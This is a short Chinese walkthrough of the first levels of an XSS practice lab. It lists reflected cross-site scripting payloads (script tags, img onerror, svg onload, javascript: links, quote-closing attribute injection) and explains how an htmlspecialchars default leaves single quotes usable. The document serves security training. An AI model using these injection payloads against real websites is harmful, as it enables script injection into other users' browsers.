一、闯关
1、修改name后的参数,页面直接显示参数内容,所以替换成JS弹窗代码。查看源码也可以发现调用alert函数后,提示消息并重定向到level2。
#其它命令
<script>alert('1')</script>
<img src=a onerror='alert(1)'>
<svg onload='alert(1)'>
<a href="javascript:alert(1)">我</a>
2、输入同样被显示出来,可能被参数化。闭合语句即可,可以直接添加"或者">。查看源码可以发现HTML实体编码。
#其余方法
"<script>alert('1')</script>
"onclick=alert('1')> #提交后点击输入框空白一次
3、同样是实体编码,对一些字符转义< : <和> : >和& : &和" : "。单引号其实也转义了,但代码中htmlspecialchars($str)单引号默认转义还是单引号,所以可以利用。